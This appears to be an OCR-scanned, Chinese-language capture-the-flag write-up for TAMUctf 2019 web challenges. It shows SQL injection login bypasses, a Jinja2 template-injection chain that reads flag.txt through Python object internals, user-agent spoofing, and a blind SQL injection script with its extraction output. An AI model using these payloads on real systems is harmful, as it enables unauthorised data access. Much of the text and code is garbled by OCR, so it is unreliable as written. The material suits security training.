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Not Another SQLi Challenge

Ji €% payload: username=admin&password=1"or 1=1#
Buckets

EFXBUCKETII#RE!, 8 FH il Wi 25 4T HF Amazond@ i 11 [ 2l 7 Bt 1S3 URL, 1% 2 http://bucketname.s3.amazonaws.com 5 &
1&Eurl yhttp:/ftamuctf.s3.amazonaws.com/ 3715 — AN 3217 AR [ bucket, % 34 56 18 Sy
Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt, 3ifSflag.
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Science!

By R flask A2 sstitb i N o MRE A fiChemicall,payload1. {{config}} , JEANFELAE
step1:1. {{[].__class__._base__._ subclasses_ ()}} UjinlfTfi k13 F]catch warningsf7 & .

step2: {{[].__class__ . base . subclasses_ ()[59]. _init .func_globals.keys()}} f3F|linecache, HJLLiJjinjostbk
Ix

step3: {{[].__class__._ base__. subclasses_ ()

[59]. init_ .func_globals['linecache']._dict_ ['os'].listdir('.')}} BF&EHTHE L 1F, 153flag.txt.

step4:1. {{[].__class__ . _base__._subclasses_ ()

[59].__init__ .func_globals['linecache'].__dict_['os'].read([].__class__. base_ ._ subclasses_ ()

[59].__init__ .func_globals['linecache'].__dict_['os'].open("flag.txt",[].__class_ . base__._subclasses_ ()

[59].__init__.func_globals['linecache']._dict_ ['os'].0_RDONLY),40)}} #5%lflag.

Robots Rule
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£ Frobots, A robots.txt

User—agent: #

WHAT IS UP, MY FELLOW HUMAN!

HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!

YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!

LA D% & —~googlebot, 1 & —“~googlebot/fjuseragent

user agent - useragent googlebot using selenium - Stack ...

ERIEMuEFIEE, Bad #Fnm

("User-Agent”, "Mozilla/5.0 (compatible; Googlebot/2.1; +http:/iwww google com/bot html)"); /f

open a page to get the traffic selenium.open(...
https://stackoverflow.com/ques... ~ - EEREE

i— Tuser-agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")

GET /robots. txt HITP/1. 1

Host: webb. tamictf. com

User-Agent: Mozilla/5.0 (compatible; Googlebot/2. 1;
thttp://www. google. com/bot. html) ™)

Accept:

text/html, application/zhtml+zml, application/zml; q=0.9
K #q=0.8

Accept-Language:

zh-Cl, zh; g=0. 8, zh-TW; g=0. 7, zh-HK ; q=0. 5, en-US,; g=0. 3, e
n;q=0.2

Accept-Enceding: gzip, deflate

Comnection: keep-alive

Upgrade-Insecure-Requests: 1

Many Gig’ems to you!

— APtz flag

<img src="gigs.png"” alt="gigem{flag in ">

<img src="cookie.jpg"” alt="gigem{continued ==

source_and_">

Cookie: gigem_continue=cookies};

43lflag: gigem{flag_in_source_and_}

Bird Box Challenge
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HTTP/1.1 200 0K

Server: nginxz/1. 15. 8

Date: Tue, 05 Mar 2019 13:40:46 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 131

Commection: keep-alive

X-Powered-By: PHP/7.0. 33

Vary: Accept-Encoding

User-agent: *

THE HUMANS SUSPECT NOTHING!
HERE IS THE SECRET INFORMATION:
gigem{be3p-blop_robltz_4-1lyfe}
LONG LIVE THE GOOGLEBOTS!
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payload: -1'union select user()#

gigem{w3 4r3 th3 4ggi3s}@localhost

1337 Security
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From: Bob (ScrubLord)
Date: 03/05/19

Time: 15:08

Message:

Please don't blow off the meeting today, we need to talk about the cookies.
Back

BEAb R 7EA Rid, 2T bool B B H VE

import requests

s=requests.session()

ans=""

for i in range(1,50):

for j in range(37,127):

#url="http://web6.tamuctf.com/message?id=1%27+and+ascii(substr((select+schema_name+from+information_sche

ma.schemata%201imit+0%2C1)%2C"+str(i)+"%2C1))%3D"+str(j)+"+and+1%3D%271"
#url="http://web6.tamuctf.com/message?id=1%27%20and%20@ascii(substr((select%20column_name%20from%20inform

ation_schema.columns%2@where%20table name=%27Users%271imit%209,1),"+str(i)+",1))%3D"+str(j)+"%20and%201=%271"
#url="http://web6.tamuctf.com/message?id=1%27%20and%20ascii(substr((select%20table_name%20from%20informa

tion_schema.tables%2@where%20table_schema=database()1limit%202,1),"+str(i)+",1))%3D"+str(j)+"%20and%201=%271"
url="http://web6.tamuctf.com/message?id=1%27%20and ascii(substr((select Secret from Users limit 0,1),"+s
tr(i)+",1))="+str(j)+" and 1="1"
c=s.get(url)
if 'Bob' in c.text:

ans=ans+chr(j)

print('ans',ans)

break




ans 3

ans Se

ans sec
ans Secr
ans sFecre
ans Secret

ans W

ans WI

ans WIF

an=s WIFH

ans WIFHX

ans WIFHED

ans WIFHXDZ

ans WIFHXDZ3

ans WIFHXDZZE

ans WIFHXDZZBO

ans WIFHXDZZBOH

ans WIFHXDZZBOHT
ans WIFHXDZ3BOHTM
ans WIFHXDZZBOHTMT
ans WIFHXDZZBOHTMIS
ans WIFHXDZZBOHTMISC

burpf&f— Fcookie, f3%lflag.

Cookie: userid=1; secret=WIFHEDZIZEOHJM]JSC
Commection: keep-alive
Uperade-Insecure-Requests: 1

style= margin-bottom: 10px’ »><b>Username:</b>
1337-admin<br

style="margin-bottom: 10px’ »<b>Phone:</h> *<br
style="margin-bottom: 10px’ »<b>Email:</b>
1337-admin®1337securlty. hak<br

style= margin-bottom:10px’ »<b>Account Created
On:</b> 03/05/19 14:06<br

style=" margin-bottom: 10px’ »<b>Description:</h>
Most secure admin to ever grace existence. <br
style="margin-bottom: 10px’ »<b>Flag:</b>
gigem{th3_T0tp_1s_wedk_wltH_yoU} <br><br>

{seript type="text/iavascript”>
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